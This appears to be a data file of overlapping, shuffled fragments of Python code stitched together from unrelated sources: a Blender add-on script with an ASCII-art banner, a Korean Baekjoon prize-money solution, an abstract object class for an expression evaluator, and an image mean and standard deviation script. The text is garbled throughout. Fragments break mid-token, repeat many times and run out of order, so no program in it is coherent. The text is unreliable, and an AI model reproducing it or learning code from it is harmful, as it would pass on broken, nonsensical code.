bpy.ops.object.modifier_add(type='WIREFRAME')", "# | |____ ____ _ _ __ ___ _ __ | | ___", "addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____ _ _ _ _____ #", "addon_utils.enable(addon_module_name) ########################################################## # _____ _ _ _ _____ # | ___| | |", "|_| .__/|_|\\___| |_||_| \\_____/ # | | # |_| ########################################################## enable_addon(addon_module_name=\"add_mesh_extra_objects\") for i", "_| || |_ / __ \\ # | |____ ____ _ _ __", "_ _ _ _____ # | ___| | | _| || |_ /", "_| `' / /' # | __\\ \\/ / _` | '_ `", "|_ __ _| `' / /' # | __\\ \\/ / _` |", "| | |_) | | __/ |_ __ _| ./ /___ # \\____/_/\\_\\__,_|_|", "_ \\ _| || |_ / / # | |___> < (_| |", "enable_addon(addon_module_name): loaded_default, loaded_state = addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____ _", "___ |_ __ _| `' / /' # | __\\ \\/ / _`", "\\_____/ # | | # |_| ########################################################## enable_addon(addon_module_name=\"add_mesh_extra_objects\") for i in range(10): bpy.ops.mesh.primitive_solid_add(source='12',", "(_| | | | | | | |_) | | __/ |_ __", "/ # | |___> < (_| | | | | | | |_)", "/___ # \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_| \\_____/ # | | # |_|", "| |___> < (_| | | | | | | |_) | |", "_ _ __ ___ _ __ | | ___ |_ __ _| `'", "# | __\\ \\/ / _` | '_ ` _ \\| '_ \\|", "| | | | | | |_) | | __/ |_ __ _|", "= addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____ _ _ _ _____", "\\| |/ _ \\ _| || |_ / / # | |___> <", "/' # | __\\ \\/ / _` | '_ ` _ \\| '_", ".__/|_|\\___| |_||_| \\_____/ # | | # |_| ########################################################## enable_addon(addon_module_name=\"add_mesh_extra_objects\") for i in", "__ _| `' / /' # | __\\ \\/ / _` | '_", "# _____ _ _ _ _____ # | ___| | | _| ||", "'_ \\| |/ _ \\ _| || |_ / / # | |___>", "| __/ |_ __ _| ./ /___ # \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_|", "_____ _ _ _ _____ # | ___| | | _| || |_", "\\/ / _` | '_ ` _ \\| '_ \\| |/ _ \\", "'_ ` _ \\| '_ \\| |/ _ \\ _| || |_ /", "| |_) | | __/ |_ __ _| ./ /___ # \\____/_/\\_\\__,_|_| |_|", "| ___| | | _| || |_ / __ \\ # | |____", "\\ _| || |_ / / # | |___> < (_| | |", "` _ \\| '_ \\| |/ _ \\ _| || |_ / /", "# \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_| \\_____/ # | | # |_| ##########################################################", "import addon_utils def enable_addon(addon_module_name): loaded_default, loaded_state = addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name) ##########################################################", "./ /___ # \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_| \\_____/ # | | #", "_ _____ # | ___| | | _| || |_ / __ \\", "\\ # | |____ ____ _ _ __ ___ _ __ | |", "# | |___> < (_| | | | | | | |_) |", "| __\\ \\/ / _` | '_ ` _ \\| '_ \\| |/", "_` | '_ ` _ \\| '_ \\| |/ _ \\ _| ||", "|_||_| \\_____/ # | | # |_| ########################################################## enable_addon(addon_module_name=\"add_mesh_extra_objects\") for i in range(10):", "import bpy import addon_utils def enable_addon(addon_module_name): loaded_default, loaded_state = addon_utils.check(addon_module_name) if not loaded_state:", "########################################################## # _____ _ _ _ _____ # | ___| | | _|", "# | ___| | | _| || |_ / __ \\ # |", "`' / /' # | __\\ \\/ / _` | '_ ` _", "loaded_state = addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____ _ _ _", "| |____ ____ _ _ __ ___ _ __ | | ___ |_", "|_ / / # | |___> < (_| | | | | |", "/ _` | '_ ` _ \\| '_ \\| |/ _ \\ _|", "\\| '_ \\| |/ _ \\ _| || |_ / / # |", "def enable_addon(addon_module_name): loaded_default, loaded_state = addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____", "___ _ __ | | ___ |_ __ _| `' / /' #", "____ _ _ __ ___ _ __ | | ___ |_ __ _|", "___| | | _| || |_ / __ \\ # | |____ ____", "__ ___ _ __ | | ___ |_ __ _| `' / /'", "|| |_ / / # | |___> < (_| | | | |", "__/ |_ __ _| ./ /___ # \\____/_/\\_\\__,_|_| |_| |_| .__/|_|\\___| |_||_| \\_____/", "loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____ _ _ _ _____ # | ___| |", "_ __ | | ___ |_ __ _| `' / /' # |", "bpy import addon_utils def enable_addon(addon_module_name): loaded_default, loaded_state = addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name)", "|____ ____ _ _ __ ___ _ __ | | ___ |_ __", "| | | | |_) | | __/ |_ __ _| ./ /___", "addon_utils def enable_addon(addon_module_name): loaded_default, loaded_state = addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name) ########################################################## #", "loaded_default, loaded_state = addon_utils.check(addon_module_name) if not loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____ _ _", "|_ / __ \\ # | |____ ____ _ _ __ ___ _", "_ __ ___ _ __ | | ___ |_ __ _| `' /", "if not loaded_state: addon_utils.enable(addon_module_name) ########################################################## # _____ _ _ _ _____ # |", "_| || |_ / / # | |___> < (_| | | |" ]
[ "<= 21: money += 100000 if b == 1: money += 5120000 elif", "in range(int(input())): a, b = map(int, input().split()) money = 0 if a ==", "29,380 KB 소요 시간: 160 ms 해결 날짜: 2020년 9월 25일 \"\"\" def", "elif 4 <= b <= 7: money += 1280000 elif 8 <= b", "15953. 상금 헌터 작성자: xCrypt0r 언어: Python 3 사용 메모리: 29,380 KB 소요", "elif 11 <= a <= 15: money += 300000 elif 16 <= a", "+= 300000 elif 16 <= a <= 21: money += 100000 if b", "\"\"\" 15953. 상금 헌터 작성자: xCrypt0r 언어: Python 3 사용 메모리: 29,380 KB", "+= 100000 if b == 1: money += 5120000 elif 2 <= b", "if a == 1: money += 5000000 elif 2 <= a <= 3:", "500000 elif 11 <= a <= 15: money += 300000 elif 16 <=", "15: money += 640000 elif 16 <= b <= 31: money += 320000", "10: money += 500000 elif 11 <= a <= 15: money += 300000", "elif 16 <= a <= 21: money += 100000 if b == 1:", "<= b <= 3: money += 2560000 elif 4 <= b <= 7:", "\"\"\" def main(): for _ in range(int(input())): a, b = map(int, input().split()) money", "<= 10: money += 500000 elif 11 <= a <= 15: money +=", "<= b <= 7: money += 1280000 elif 8 <= b <= 15:", "<= a <= 15: money += 300000 elif 16 <= a <= 21:", "2 <= b <= 3: money += 2560000 elif 4 <= b <=", "b == 1: money += 5120000 elif 2 <= b <= 3: money", "+= 5120000 elif 2 <= b <= 3: money += 2560000 elif 4", "16 <= a <= 21: money += 100000 if b == 1: money", "100000 if b == 1: money += 5120000 elif 2 <= b <=", "25일 \"\"\" def main(): for _ in range(int(input())): a, b = map(int, input().split())", "+= 5000000 elif 2 <= a <= 3: money += 3000000 elif 4", "for _ in range(int(input())): a, b = map(int, input().split()) money = 0 if", "_ in range(int(input())): a, b = map(int, input().split()) money = 0 if a", "+= 640000 elif 16 <= b <= 31: money += 320000 print(money) if", "range(int(input())): a, b = map(int, input().split()) money = 0 if a == 1:", "날짜: 2020년 9월 25일 \"\"\" def main(): for _ in range(int(input())): a, b", "money += 5120000 elif 2 <= b <= 3: money += 2560000 elif", "160 ms 해결 날짜: 2020년 9월 25일 \"\"\" def main(): for _ in", "메모리: 29,380 KB 소요 시간: 160 ms 해결 날짜: 2020년 9월 25일 \"\"\"", "money += 300000 elif 16 <= a <= 21: money += 100000 if", "elif 2 <= a <= 3: money += 3000000 elif 4 <= a", "+= 2560000 elif 4 <= b <= 7: money += 1280000 elif 8", "= map(int, input().split()) money = 0 if a == 1: money += 5000000", "Python 3 사용 메모리: 29,380 KB 소요 시간: 160 ms 해결 날짜: 2020년", "사용 메모리: 29,380 KB 소요 시간: 160 ms 해결 날짜: 2020년 9월 25일", "<= 7: money += 1280000 elif 8 <= b <= 15: money +=", "b <= 15: money += 640000 elif 16 <= b <= 31: money", "<= a <= 6: money += 2000000 elif 7 <= a <= 10:", "<= 6: money += 2000000 elif 7 <= a <= 10: money +=", "<= a <= 3: money += 3000000 elif 4 <= a <= 6:", "4 <= a <= 6: money += 2000000 elif 7 <= a <=", "money += 5000000 elif 2 <= a <= 3: money += 3000000 elif", "시간: 160 ms 해결 날짜: 2020년 9월 25일 \"\"\" def main(): for _", "1280000 elif 8 <= b <= 15: money += 640000 elif 16 <=", "ms 해결 날짜: 2020년 9월 25일 \"\"\" def main(): for _ in range(int(input())):", "2000000 elif 7 <= a <= 10: money += 500000 elif 11 <=", "2 <= a <= 3: money += 3000000 elif 4 <= a <=", "<= b <= 15: money += 640000 elif 16 <= b <= 31:", "elif 4 <= a <= 6: money += 2000000 elif 7 <= a", "2560000 elif 4 <= b <= 7: money += 1280000 elif 8 <=", "11 <= a <= 15: money += 300000 elif 16 <= a <=", "4 <= b <= 7: money += 1280000 elif 8 <= b <=", "<= 15: money += 300000 elif 16 <= a <= 21: money +=", "+= 500000 elif 11 <= a <= 15: money += 300000 elif 16", "a <= 10: money += 500000 elif 11 <= a <= 15: money", "<= a <= 21: money += 100000 if b == 1: money +=", "6: money += 2000000 elif 7 <= a <= 10: money += 500000", "+= 1280000 elif 8 <= b <= 15: money += 640000 elif 16", "a <= 6: money += 2000000 elif 7 <= a <= 10: money", "+= 3000000 elif 4 <= a <= 6: money += 2000000 elif 7", "money += 1280000 elif 8 <= b <= 15: money += 640000 elif", "+= 2000000 elif 7 <= a <= 10: money += 500000 elif 11", "def main(): for _ in range(int(input())): a, b = map(int, input().split()) money =", "3: money += 3000000 elif 4 <= a <= 6: money += 2000000", "money += 500000 elif 11 <= a <= 15: money += 300000 elif", "7: money += 1280000 elif 8 <= b <= 15: money += 640000", "소요 시간: 160 ms 해결 날짜: 2020년 9월 25일 \"\"\" def main(): for", "money += 2560000 elif 4 <= b <= 7: money += 1280000 elif", "a <= 21: money += 100000 if b == 1: money += 5120000", "money = 0 if a == 1: money += 5000000 elif 2 <=", "<= a <= 10: money += 500000 elif 11 <= a <= 15:", "7 <= a <= 10: money += 500000 elif 11 <= a <=", "8 <= b <= 15: money += 640000 elif 16 <= b <=", "KB 소요 시간: 160 ms 해결 날짜: 2020년 9월 25일 \"\"\" def main():", "input().split()) money = 0 if a == 1: money += 5000000 elif 2", "2020년 9월 25일 \"\"\" def main(): for _ in range(int(input())): a, b =", "<= 15: money += 640000 elif 16 <= b <= 31: money +=", "== 1: money += 5000000 elif 2 <= a <= 3: money +=", "b <= 7: money += 1280000 elif 8 <= b <= 15: money", "xCrypt0r 언어: Python 3 사용 메모리: 29,380 KB 소요 시간: 160 ms 해결", "헌터 작성자: xCrypt0r 언어: Python 3 사용 메모리: 29,380 KB 소요 시간: 160", "<= b <= 31: money += 320000 print(money) if __name__ == '__main__': main()", "해결 날짜: 2020년 9월 25일 \"\"\" def main(): for _ in range(int(input())): a,", "21: money += 100000 if b == 1: money += 5120000 elif 2", "1: money += 5000000 elif 2 <= a <= 3: money += 3000000", "300000 elif 16 <= a <= 21: money += 100000 if b ==", "a, b = map(int, input().split()) money = 0 if a == 1: money", "money += 640000 elif 16 <= b <= 31: money += 320000 print(money)", "1: money += 5120000 elif 2 <= b <= 3: money += 2560000", "= 0 if a == 1: money += 5000000 elif 2 <= a", "상금 헌터 작성자: xCrypt0r 언어: Python 3 사용 메모리: 29,380 KB 소요 시간:", "<= 3: money += 2560000 elif 4 <= b <= 7: money +=", "elif 8 <= b <= 15: money += 640000 elif 16 <= b", "언어: Python 3 사용 메모리: 29,380 KB 소요 시간: 160 ms 해결 날짜:", "3 사용 메모리: 29,380 KB 소요 시간: 160 ms 해결 날짜: 2020년 9월", "작성자: xCrypt0r 언어: Python 3 사용 메모리: 29,380 KB 소요 시간: 160 ms", "elif 16 <= b <= 31: money += 320000 print(money) if __name__ ==", "5120000 elif 2 <= b <= 3: money += 2560000 elif 4 <=", "9월 25일 \"\"\" def main(): for _ in range(int(input())): a, b = map(int,", "a <= 15: money += 300000 elif 16 <= a <= 21: money", "15: money += 300000 elif 16 <= a <= 21: money += 100000", "5000000 elif 2 <= a <= 3: money += 3000000 elif 4 <=", "main(): for _ in range(int(input())): a, b = map(int, input().split()) money = 0", "a <= 3: money += 3000000 elif 4 <= a <= 6: money", "map(int, input().split()) money = 0 if a == 1: money += 5000000 elif", "<= 3: money += 3000000 elif 4 <= a <= 6: money +=", "640000 elif 16 <= b <= 31: money += 320000 print(money) if __name__", "b = map(int, input().split()) money = 0 if a == 1: money +=", "a == 1: money += 5000000 elif 2 <= a <= 3: money", "money += 2000000 elif 7 <= a <= 10: money += 500000 elif", "if b == 1: money += 5120000 elif 2 <= b <= 3:", "elif 7 <= a <= 10: money += 500000 elif 11 <= a", "money += 100000 if b == 1: money += 5120000 elif 2 <=", "b <= 3: money += 2560000 elif 4 <= b <= 7: money", "3000000 elif 4 <= a <= 6: money += 2000000 elif 7 <=", "money += 3000000 elif 4 <= a <= 6: money += 2000000 elif", "3: money += 2560000 elif 4 <= b <= 7: money += 1280000", "elif 2 <= b <= 3: money += 2560000 elif 4 <= b", "== 1: money += 5120000 elif 2 <= b <= 3: money +=", "0 if a == 1: money += 5000000 elif 2 <= a <=", "16 <= b <= 31: money += 320000 print(money) if __name__ == '__main__':" ]
[ "context): return self.representation(context) def operation(self, other, operation, operation_node): if operation in ('*', '+',", "import RuntimeASTError class AbstractObject: def __init__(self): raise NotImplementedError @classmethod def create_from_node(cls, node): raise", "def one_string_representation(self, context): return self.representation(context) def operation(self, other, operation, operation_node): if operation in", "return other.real_operation(self, operation, operation_node) raise e else: return self.real_operation(other, operation, operation_node) def real_operation(self,", "operation in ('*', '+', '**'): try: return self.real_operation(other, operation, operation_node) except RuntimeASTError as", "operation_node): if operation in ('*', '+', '**'): try: return self.real_operation(other, operation, operation_node) except", "RuntimeASTError as e: if not self.type_mark == 'm': return other.real_operation(self, operation, operation_node) raise", "except RuntimeASTError as e: if not self.type_mark == 'm': return other.real_operation(self, operation, operation_node)", "NotImplementedError('operation not defined') def one_string_representation(self, context): return self.representation(context) def operation(self, other, operation, operation_node):", "def real_operation(self, other, operation, operation_node): raise RuntimeASTError(f'the \"{operation}\" operation between {self.type_representation()} and {other.type_representation()}", "AbstractObject: def __init__(self): raise NotImplementedError @classmethod def create_from_node(cls, node): raise NotImplementedError('operation not defined')", "node): raise NotImplementedError('operation not defined') def representation(self, context): raise NotImplementedError('operation not defined') def", "'m': return other.real_operation(self, operation, operation_node) raise e else: return self.real_operation(other, operation, operation_node) def", "if operation in ('*', '+', '**'): try: return self.real_operation(other, operation, operation_node) except RuntimeASTError", "defined') def representation(self, context): raise NotImplementedError('operation not defined') def type_representation(self): raise NotImplementedError('operation not", "__init__(self): raise NotImplementedError @classmethod def create_from_node(cls, node): raise NotImplementedError('operation not defined') def representation(self,", "one_string_representation(self, context): return self.representation(context) def operation(self, other, operation, operation_node): if operation in ('*',", "not defined') def one_string_representation(self, context): return self.representation(context) def operation(self, other, operation, operation_node): if", "operation, operation_node) raise e else: return self.real_operation(other, operation, operation_node) def real_operation(self, other, operation,", "raise e else: return self.real_operation(other, operation, operation_node) def real_operation(self, other, operation, operation_node): raise", "e else: return self.real_operation(other, operation, operation_node) def real_operation(self, other, operation, operation_node): raise RuntimeASTError(f'the", "not defined') def representation(self, context): raise NotImplementedError('operation not defined') def type_representation(self): raise NotImplementedError('operation", "type_representation(self): raise NotImplementedError('operation not defined') def one_string_representation(self, context): return self.representation(context) def operation(self, other,", "('*', '+', '**'): try: return self.real_operation(other, operation, operation_node) except RuntimeASTError as e: if", "defined') def type_representation(self): raise NotImplementedError('operation not defined') def one_string_representation(self, context): return self.representation(context) def", "NotImplementedError('operation not defined') def representation(self, context): raise NotImplementedError('operation not defined') def type_representation(self): raise", "real_operation(self, other, operation, operation_node): raise RuntimeASTError(f'the \"{operation}\" operation between {self.type_representation()} and {other.type_representation()} is", "try: return self.real_operation(other, operation, operation_node) except RuntimeASTError as e: if not self.type_mark ==", "<reponame>pomponchik/computor_v2 from srcs.errors import RuntimeASTError class AbstractObject: def __init__(self): raise NotImplementedError @classmethod def", "RuntimeASTError class AbstractObject: def __init__(self): raise NotImplementedError @classmethod def create_from_node(cls, node): raise NotImplementedError('operation", "'+', '**'): try: return self.real_operation(other, operation, operation_node) except RuntimeASTError as e: if not", "@classmethod def create_from_node(cls, node): raise NotImplementedError('operation not defined') def representation(self, context): raise NotImplementedError('operation", "raise NotImplementedError('operation not defined') def one_string_representation(self, context): return self.representation(context) def operation(self, other, operation,", "self.type_mark == 'm': return other.real_operation(self, operation, operation_node) raise e else: return self.real_operation(other, operation,", "operation, operation_node) except RuntimeASTError as e: if not self.type_mark == 'm': return other.real_operation(self,", "other, operation, operation_node): raise RuntimeASTError(f'the \"{operation}\" operation between {self.type_representation()} and {other.type_representation()} is not", "else: return self.real_operation(other, operation, operation_node) def real_operation(self, other, operation, operation_node): raise RuntimeASTError(f'the \"{operation}\"", "operation_node) def real_operation(self, other, operation, operation_node): raise RuntimeASTError(f'the \"{operation}\" operation between {self.type_representation()} and", "raise NotImplementedError('operation not defined') def type_representation(self): raise NotImplementedError('operation not defined') def one_string_representation(self, context):", "NotImplementedError @classmethod def create_from_node(cls, node): raise NotImplementedError('operation not defined') def representation(self, context): raise", "defined') def one_string_representation(self, context): return self.representation(context) def operation(self, other, operation, operation_node): if operation", "not defined') def type_representation(self): raise NotImplementedError('operation not defined') def one_string_representation(self, context): return self.representation(context)", "self.representation(context) def operation(self, other, operation, operation_node): if operation in ('*', '+', '**'): try:", "def operation(self, other, operation, operation_node): if operation in ('*', '+', '**'): try: return", "representation(self, context): raise NotImplementedError('operation not defined') def type_representation(self): raise NotImplementedError('operation not defined') def", "not self.type_mark == 'm': return other.real_operation(self, operation, operation_node) raise e else: return self.real_operation(other,", "context): raise NotImplementedError('operation not defined') def type_representation(self): raise NotImplementedError('operation not defined') def one_string_representation(self,", "class AbstractObject: def __init__(self): raise NotImplementedError @classmethod def create_from_node(cls, node): raise NotImplementedError('operation not", "if not self.type_mark == 'm': return other.real_operation(self, operation, operation_node) raise e else: return", "NotImplementedError('operation not defined') def type_representation(self): raise NotImplementedError('operation not defined') def one_string_representation(self, context): return", "def type_representation(self): raise NotImplementedError('operation not defined') def one_string_representation(self, context): return self.representation(context) def operation(self,", "other, operation, operation_node): if operation in ('*', '+', '**'): try: return self.real_operation(other, operation,", "as e: if not self.type_mark == 'm': return other.real_operation(self, operation, operation_node) raise e", "operation, operation_node) def real_operation(self, other, operation, operation_node): raise RuntimeASTError(f'the \"{operation}\" operation between {self.type_representation()}", "operation_node) except RuntimeASTError as e: if not self.type_mark == 'm': return other.real_operation(self, operation,", "raise NotImplementedError('operation not defined') def representation(self, context): raise NotImplementedError('operation not defined') def type_representation(self):", "srcs.errors import RuntimeASTError class AbstractObject: def __init__(self): raise NotImplementedError @classmethod def create_from_node(cls, node):", "self.real_operation(other, operation, operation_node) except RuntimeASTError as e: if not self.type_mark == 'm': return", "e: if not self.type_mark == 'm': return other.real_operation(self, operation, operation_node) raise e else:", "operation, operation_node): if operation in ('*', '+', '**'): try: return self.real_operation(other, operation, operation_node)", "from srcs.errors import RuntimeASTError class AbstractObject: def __init__(self): raise NotImplementedError @classmethod def create_from_node(cls,", "== 'm': return other.real_operation(self, operation, operation_node) raise e else: return self.real_operation(other, operation, operation_node)", "in ('*', '+', '**'): try: return self.real_operation(other, operation, operation_node) except RuntimeASTError as e:", "def create_from_node(cls, node): raise NotImplementedError('operation not defined') def representation(self, context): raise NotImplementedError('operation not", "operation_node) raise e else: return self.real_operation(other, operation, operation_node) def real_operation(self, other, operation, operation_node):", "return self.real_operation(other, operation, operation_node) def real_operation(self, other, operation, operation_node): raise RuntimeASTError(f'the \"{operation}\" operation", "def __init__(self): raise NotImplementedError @classmethod def create_from_node(cls, node): raise NotImplementedError('operation not defined') def", "return self.real_operation(other, operation, operation_node) except RuntimeASTError as e: if not self.type_mark == 'm':", "operation(self, other, operation, operation_node): if operation in ('*', '+', '**'): try: return self.real_operation(other,", "raise NotImplementedError @classmethod def create_from_node(cls, node): raise NotImplementedError('operation not defined') def representation(self, context):", "operation, operation_node): raise RuntimeASTError(f'the \"{operation}\" operation between {self.type_representation()} and {other.type_representation()} is not defined',", "create_from_node(cls, node): raise NotImplementedError('operation not defined') def representation(self, context): raise NotImplementedError('operation not defined')", "other.real_operation(self, operation, operation_node) raise e else: return self.real_operation(other, operation, operation_node) def real_operation(self, other,", "return self.representation(context) def operation(self, other, operation, operation_node): if operation in ('*', '+', '**'):", "def representation(self, context): raise NotImplementedError('operation not defined') def type_representation(self): raise NotImplementedError('operation not defined')", "'**'): try: return self.real_operation(other, operation, operation_node) except RuntimeASTError as e: if not self.type_mark", "operation_node): raise RuntimeASTError(f'the \"{operation}\" operation between {self.type_representation()} and {other.type_representation()} is not defined', operation_node)", "self.real_operation(other, operation, operation_node) def real_operation(self, other, operation, operation_node): raise RuntimeASTError(f'the \"{operation}\" operation between" ]
[ "tqdm import tqdm img_h, img_w = 256, 256 means, stdevs = [], []", "normStd1 = [0.2431127, 0.2601882, 0.25678185] # [0.413570895, 0.44482827999999996, 0.40590465] # [0.22948174999999998, 0.24708692499999999, 0.23276452999999997]", "[] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in tqdm(image_fns): img", "os from glob import glob from tqdm import tqdm img_h, img_w = 256,", "[0.35389897, 0.39104056, 0.34307468] # normStd = [0.2158508, 0.23398565, 0.20874721] # normMean1 = [0.47324282,", "= [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in tqdm(image_fns):", "'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in tqdm(image_fns): img = cv2.imread(single_img_path) img", "import os from glob import glob from tqdm import tqdm img_h, img_w =", "glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in tqdm(image_fns): img = cv2.imread(single_img_path) img = cv2.resize(img, (img_w,", "# normStd1 = [0.2431127, 0.2601882, 0.25678185] # [0.413570895, 0.44482827999999996, 0.40590465] # [0.22948174999999998, 0.24708692499999999,", "CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd = {}\".format(stdevs)) # normMean = [0.35389897,", "= imgs.astype(np.float32) / 255. for i in range(3): pixels = imgs[:, :, i,", "0.498616, 0.46873462] # normStd1 = [0.2431127, 0.2601882, 0.25678185] # [0.413570895, 0.44482827999999996, 0.40590465] #", "= glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in tqdm(image_fns): img = cv2.imread(single_img_path) img = cv2.resize(img,", "print(\"normMean = {}\".format(means)) print(\"normStd = {}\".format(stdevs)) # normMean = [0.35389897, 0.39104056, 0.34307468] #", "# BGR --> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd =", "= [0.35389897, 0.39104056, 0.34307468] # normStd = [0.2158508, 0.23398565, 0.20874721] # normMean1 =", "imgs[:, :, i, :].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR --> RGB ,", "for i in range(3): pixels = imgs[:, :, i, :].ravel() # 拉成一行 means.append(np.mean(pixels))", "means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd = {}\".format(stdevs)) # normMean = [0.35389897, 0.39104056,", "imgs = np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32) / 255. for i in range(3):", "img_list = [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in", "image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in tqdm(image_fns): img = cv2.imread(single_img_path) img =", "BGR --> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd = {}\".format(stdevs))", "normStd = [0.2158508, 0.23398565, 0.20874721] # normMean1 = [0.47324282, 0.498616, 0.46873462] # normStd1", "pixels = imgs[:, :, i, :].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR -->", "from glob import glob from tqdm import tqdm img_h, img_w = 256, 256", "cv2.resize(img, (img_w, img_h)) img = img[:, :, :, np.newaxis] img_list.append(img) imgs = np.concatenate(img_list,", ":, i, :].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR --> RGB , CV读取的需要转换,PIL读取的不用转换", "i, :].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR --> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse()", "stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd = {}\".format(stdevs)) # normMean = [0.35389897, 0.39104056, 0.34307468]", "range(3): pixels = imgs[:, :, i, :].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) # BGR", "255. for i in range(3): pixels = imgs[:, :, i, :].ravel() # 拉成一行", "means, stdevs = [], [] img_list = [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns =", "np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32) / 255. for i in range(3): pixels =", "[], [] img_list = [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for", "single_img_path in tqdm(image_fns): img = cv2.imread(single_img_path) img = cv2.resize(img, (img_w, img_h)) img =", "tqdm img_h, img_w = 256, 256 means, stdevs = [], [] img_list =", "in range(3): pixels = imgs[:, :, i, :].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels)) #", "= cv2.resize(img, (img_w, img_h)) img = img[:, :, :, np.newaxis] img_list.append(img) imgs =", "= [], [] img_list = [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*'))", "as np import cv2 import os from glob import glob from tqdm import", "normMean1 = [0.47324282, 0.498616, 0.46873462] # normStd1 = [0.2431127, 0.2601882, 0.25678185] # [0.413570895,", "= cv2.imread(single_img_path) img = cv2.resize(img, (img_w, img_h)) img = img[:, :, :, np.newaxis]", "glob import glob from tqdm import tqdm img_h, img_w = 256, 256 means,", "img = cv2.resize(img, (img_w, img_h)) img = img[:, :, :, np.newaxis] img_list.append(img) imgs", "[0.47324282, 0.498616, 0.46873462] # normStd1 = [0.2431127, 0.2601882, 0.25678185] # [0.413570895, 0.44482827999999996, 0.40590465]", "256, 256 means, stdevs = [], [] img_list = [] TRAIN_DATASET_PATH = 'data/Real/subset/train/B'", "RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd = {}\".format(stdevs)) # normMean", "cv2 import os from glob import glob from tqdm import tqdm img_h, img_w", "stdevs.append(np.std(pixels)) # BGR --> RGB , CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd", "(img_w, img_h)) img = img[:, :, :, np.newaxis] img_list.append(img) imgs = np.concatenate(img_list, axis=3)", "tqdm(image_fns): img = cv2.imread(single_img_path) img = cv2.resize(img, (img_w, img_h)) img = img[:, :,", ":, :, np.newaxis] img_list.append(img) imgs = np.concatenate(img_list, axis=3) imgs = imgs.astype(np.float32) / 255.", "TRAIN_DATASET_PATH = 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in tqdm(image_fns): img =", "= {}\".format(means)) print(\"normStd = {}\".format(stdevs)) # normMean = [0.35389897, 0.39104056, 0.34307468] # normStd", "= 256, 256 means, stdevs = [], [] img_list = [] TRAIN_DATASET_PATH =", "import cv2 import os from glob import glob from tqdm import tqdm img_h,", "img_w = 256, 256 means, stdevs = [], [] img_list = [] TRAIN_DATASET_PATH", "imgs = imgs.astype(np.float32) / 255. for i in range(3): pixels = imgs[:, :,", "cv2.imread(single_img_path) img = cv2.resize(img, (img_w, img_h)) img = img[:, :, :, np.newaxis] img_list.append(img)", "imgs.astype(np.float32) / 255. for i in range(3): pixels = imgs[:, :, i, :].ravel()", "= {}\".format(stdevs)) # normMean = [0.35389897, 0.39104056, 0.34307468] # normStd = [0.2158508, 0.23398565,", "img_h, img_w = 256, 256 means, stdevs = [], [] img_list = []", "= 'data/Real/subset/train/B' image_fns = glob(os.path.join(TRAIN_DATASET_PATH, '*.*')) for single_img_path in tqdm(image_fns): img = cv2.imread(single_img_path)", ", CV读取的需要转换,PIL读取的不用转换 means.reverse() stdevs.reverse() print(\"normMean = {}\".format(means)) print(\"normStd = {}\".format(stdevs)) # normMean =", "i in range(3): pixels = imgs[:, :, i, :].ravel() # 拉成一行 means.append(np.mean(pixels)) stdevs.append(np.std(pixels))", "print(\"normStd = {}\".format(stdevs)) # normMean = [0.35389897, 0.39104056, 0.34307468] # normStd = [0.2158508,", "{}\".format(stdevs)) # normMean = [0.35389897, 0.39104056, 0.34307468] # normStd = [0.2158508, 0.23398565, 0.20874721]", "0.34307468] # 